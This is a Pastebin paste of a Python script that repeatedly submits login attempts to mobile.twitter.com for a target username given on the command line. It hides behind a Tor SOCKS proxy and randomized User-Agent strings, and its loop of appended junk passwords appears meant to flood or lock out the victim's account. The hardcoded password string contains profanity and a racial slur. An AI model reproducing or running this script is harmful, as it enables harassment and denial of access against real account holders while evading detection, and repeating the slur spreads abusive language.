Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requesocks
- import sys
- import random
- import time
- def getUserAgent():
- platform = random.choice(['Macintosh', 'Windows', 'X11'])
- if platform == 'Macintosh':
- os = random.choice(['68K', 'PPC'])
- elif platform == 'Windows':
- os = random.choice(['Win3.11', 'WinNT3.51', 'WinNT4.0', 'Windows NT 5.0', 'Windows NT 5.1', 'Windows NT 5.2', 'Windows NT 6.0', 'Windows NT 6.1', 'Windows NT 6.2', 'Win95', 'Win98', 'Win 9x 4.90', 'WindowsCE'])
- elif platform == 'X11':
- os = random.choice(['Linux i686', 'Linux x86_64'])
- browser = random.choice(['chrome', 'firefox', 'ie'])
- if browser == 'chrome':
- webkit = str(random.randint(500, 599))
- version = str(random.randint(0, 24)) + '.0' + str(random.randint(0, 1500)) + '.' + str(random.randint(0, 999))
- return 'Mozilla/5.0 (' + os + ') AppleWebKit/' + webkit + '.0 (KHTML, live Gecko) Chrome/' + version + ' Safari/' + webkit
- elif browser == 'firefox':
- year = str(random.randint(2000, 2012))
- month = random.randint(1, 12)
- if month < 10:
- month = '0' + str(month)
- else:
- month = str(month)
- day = random.randint(1, 30)
- if day < 10:
- day = '0' + str(day)
- else:
- day = str(day)
- gecko = year + month + day
- version = random.choice(['1.0', '2.0', '3.0', '4.0', '5.0', '6.0', '7.0', '8.0', '9.0', '10.0', '11.0', '12.0', '13.0', '14.0', '15.0'])
- return 'Mozilla/5.0 (' + os + '; rv:' + version + ') Gecko/' + gecko + ' Firefox/' + version
- elif browser == 'ie':
- version = str(random.randint(1, 10)) + '.0'
- engine = str(random.randint(1, 5)) + '.0'
- option = random.choice([True, False])
- if option == True:
- token = random.choice(['.NET CLR', 'SV1', 'Tablet PC', 'Win64; IA64', 'Win64; x64', 'WOW64']) + '; '
- elif option == False:
- token = ''
- return 'Mozilla/5.0 (compatible; MSIE ' + version + '; ' + os + '; ' + token + 'Trident/' + engine + ')'
- def find_between( s, first, last ):
- try:
- start = s.index( first ) + len( first )
- end = s.index( last, start )
- return s[start:end]
- except ValueError:
- return ""
- def check_password(username, password):
- s = requesocks.session()
- headers = {'User-Agent': getUserAgent()}
- proxy = {"http" : "socks5://127.0.0.1:9050",
- "https" : "socks5://127.0.0.1:9050"}
- login_url = 'https://mobile.twitter.com/login'
- r = s.get(login_url, headers=headers, proxies=proxy)
- if (r.status_code == 200):
- auth_token = find_between(str(r.text), '<input name="authenticity_token" type="hidden" value="', '"/>')
- redirect_url = find_between(str(r.text), '<input type="hidden" name="redirect_after_login" value="','">')
- payload = {'authenticity_token':auth_token, 'remember_me':'1', 'wfa':'1', 'redirect_after_login':redirect_url, 'session[username_or_email]':username, 'session[password]':password}
- session_url = 'https://mobile.twitter.com/sessions'
- r = s.post(session_url, headers=headers, data=payload)
- return
- def check_file(username):
- password = "fuckyourtwitteraccountnigga"
- attempts = 0
- while (1):
- password += str(random.randint(1, 100))
- try:
- check_password(username, password)
- print "attempts", attempts
- attempts += 1
- time.sleep(1)
- except Exception as e:
- print "error", e
- password = "fuckyourtwitteraccountnigga"
- reload(sys)
- sys.setdefaultencoding('utf-8')
- check_file(sys.argv[1])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement